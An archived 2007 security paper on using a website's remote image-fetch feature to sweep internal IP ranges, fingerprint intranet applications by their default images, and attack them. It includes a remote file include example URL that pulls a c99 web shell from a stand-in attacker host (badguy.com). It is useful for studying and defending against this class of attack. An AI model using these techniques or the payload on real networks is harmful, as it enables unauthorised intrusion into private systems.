Hacking Intranets Through Web Interfaces

Hacking Intranets Through Web Interfaces - Robert Hansen, sectheory.com.

- Published: date not stated
- Original: <http://www.sectheory.com/intranet-hacking.htm>
- Preserved from: http://www.sectheory.com/intranet-hacking.htm (stored) on 2026-08-16
- Capture timestamp: 20080517144729
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

SecTheory - Internet Security

Hacking Intranets Through Web Interfaces

By Robert Hansen Date: 08/27/2007

Preface: Over the last 18 months, the web application security community has concentrated our efforts on hacking Intranets through the use of web-browsers. Because corporate users sit behind firewalls they often have access to attack intranet applications on behalf of malicious users. Understanding the history of intranet hacking using browsers can aid in understanding why this is a problem, however it is not a prerequisite. Rather than using users as our attack vector, in this paper we'll be discussing how to use the website itself to proxy our attacks. The attack surface area is often larger than it appears because of how networks and websites are architected.

Overview: Something we, as a community, have largely ignored is using the website itself to perform much of these same tactics. This paper, while certainly not exhaustive, will describe a few potential avenues for attack. What has not been ignored is remote file includes (RFI), command injection and SQL injection. Beyond this, the web servers themselves are typically only vulnerable when the web server running has specific vulnerabilities in it. Rather than thinking about a web server or a port having vulnerabilities in it, we should instead think of the web server as a proxy to enable certain forms of probing and attacks.

Assumptions: For these attacks to work, we have to make several assumptions about the company in question that we are attacking. The first assumption we have to make is the website somehow protected by IP/port based filtering and is able to connect to other machines on the same internal network. An example of this is RFC1918 address space although technically it does not have to be. It could also share an internal DNS server with the rest of the Intranet which would

allow the use of fierce or other DNS discovery tools which would aid in using hostnames instead of IP addresses, or could reduce the space in which the attacker would need to port-scan to identify where intranet targets lay.

It is also assumed that the web server can connect to other machines both on the Internet as well as the Intranet. We are assuming that there are no direct vulnerabilities in the target website. If there were this tactic would be far less useful, as direct access from the web server is almost certainly better. The last assumption is that internal websites are less hardened than Intranet websites due to cost/benefit tradeoffs as well as a common misconception that well-behaved employees are the only threats to internal applications.

The Techniques: Many websites have the ability to add avatars/photos to websites to customize them. Those websites often allow multiple forms of uploading binary content, including both file upload as well as HTTP GETs. File uploads simply upload information from your local desktop to the target server. While there have been a number of exploits against both users and websites using this method as a means of RFI, we won't be attacking either in this paper, or at least not in the same way. What we will be focusing on is the HTTP GETs.

Understanding the network is an important part of this attack. Many small companies fail to separate the web servers from other internal web servers. This is most commonly seen on DMZs where developers put development machines on the same network as protection machines. They rely on IP filtering at the firewall to insure that no external traffic can connect to the development environment that is meant to be internal. This tactic does, in fact, perform exactly as advertised, however, we will be using only tactics that are within the normal expected behavior of the target website.

[[image: image]](http://www.sectheory.com/static/images/intranet-hacking-via-webserver.png) Fig 1. Click to enlarge

As seen in Fig 1 by telling the target website to connect to websites to pull down an image it is actually instantiating a HTTP connection out. There are very seldom checks put in place to limit this connectivity. In particular the websites aren't limited to non RFC1918 address space - that is they are allowed to connect to the Intranet. Here is an example:

> http://192.168.0.11/

For this example to work, there would need to be an internal web server (IE: our development environment described above) located at that IP address, there would need to be a route to the host, and different error conditions that the target web server displayed to denote if the server was alive or not. **This leads us into our first technique, port sweeping.**

Often websites fail to remove default images from websites. The most common of these are the default web server name/image as well as the directory listing images. Here's an example on Apache:

> http://192.168.0.11/icons/image2.gif

Ideally the sever is now turned into a ping sweep, targeting all known internal address space, including all suspected HTTP ports (80, 8080, 8888, etc... results may vary using HTTP over SSL, which is why 443 is omitted). The server may or may not allow ports to be added which may limit

the attack. This can be tested against a public web-server ahead of time to understand the target's behavior. As an example if the target used RFC1918 the following would make a good list to port sweep:

> 10.0.0.0 - 10.255.255.255 (10/8 prefix) 172.16.0.0 - 172.31.255.255 (172.16/12 prefix) 192.168.0.0 - 192.168.255.255 (192.168/16 prefix)

Note: Although most companies use RFC1918 (above) it should be noted that this is not always the case. Some companies use 1. or 2.. *General Eletric uses 3.* for instance. Knowing this information ahead of time can prove useful.*

Knowing several default images for different forms of web servers can help identify servers that are alive. Identifying which IPs are live can provide several benefits. It can reduce the potential attack surface down to a reasonable set of targets, but more importantly it can identify which targets are accessible from the website, and may be vulnerable to attack. **This leads us to the second technique, fingerprinting potentially vulnerable applications**:

> http://192.168.0.11/wp-includes/images/smilies/icon_neutral.gif

Knowing where default images are located for individual applications (the above represents a default image for Wordpress, for instance) the attacker can greatly narrow the vulnerabilities that may work against the internal non-routable targets. This is especially critical because the time it takes to perform this type of attack may be prohibative if all attacks are performed against all targets. **This leads us to the third technique, hacking the Intranet website**.

Because HTTP is stateless, and not particularly good at insuring that the request being made matches the response output, it is trivial to attack a target with a single HTTP request. Here's an example:

> http://192.168.0.11/modules/My_eGallery/index.php?basepath=http://www.badguy.com/c99.txt

[[image: image]](http://www.sectheory.com/static/images/upload.png) Fig 2. Click to Enlarge

The goal is to discover and exploit a vulnerability on an internal device, and to get that vulnerability to connect back out to the web. Very often firewalls are not properlly configured to disallow this sort of access, which makes upgrading, and downloading easier, but also constitutes a greater risk of exploitation. Using an attack library of commonly used internal applications and their exploits could dramatically increase the likelihood of exploitation. You can see an example of this in Fig 2.

The exploits are not limited to RFI, but it could include command injection, SQL reverse shells, etc... Guessing most common exploits is probably the most effective method, and is often seen in botnets. This attack is also not limited to only image upload. This could include any system that makes outbound user submitted HTTP requests. This has been identified on RSS feed aggregators for instance. There are no doubt many forms in which this may come about depending on the system.

Another failure of companies is when they use vhosts to insure that the sites that are supposed to be Internal only are separated yet run both the public and private hosts on the same box.

However, they may put both the Intranet website on the same server as the Internet website. Checking with both host headers as well as potential names of intranets, such as "internal", "intranet", "wiki" and so on may yield some results. Another interesting issue that may arise is IP based filtering that could allow internal addresses to connect to other machines, but disallow external addresses.

Conclusions: Although solving this issue may involve trivial modifications to the network and/or to the web application, there are many places where this attack could be valuable. That is especially true in situations where the target is using freely available open sourced CMS or social networking systems that have been in all measurable ways hardened, except still allow file uploads over remote HTTP requests. Attacking companies in this way is not a theoretical attack, however, there is no known example of anyone actually using this attack against a target, other than within our own penetration tests.

Thanks: Special thanks to Jeremiah Grossman and James Flom for helping me polish this paper up so it was more presentable.
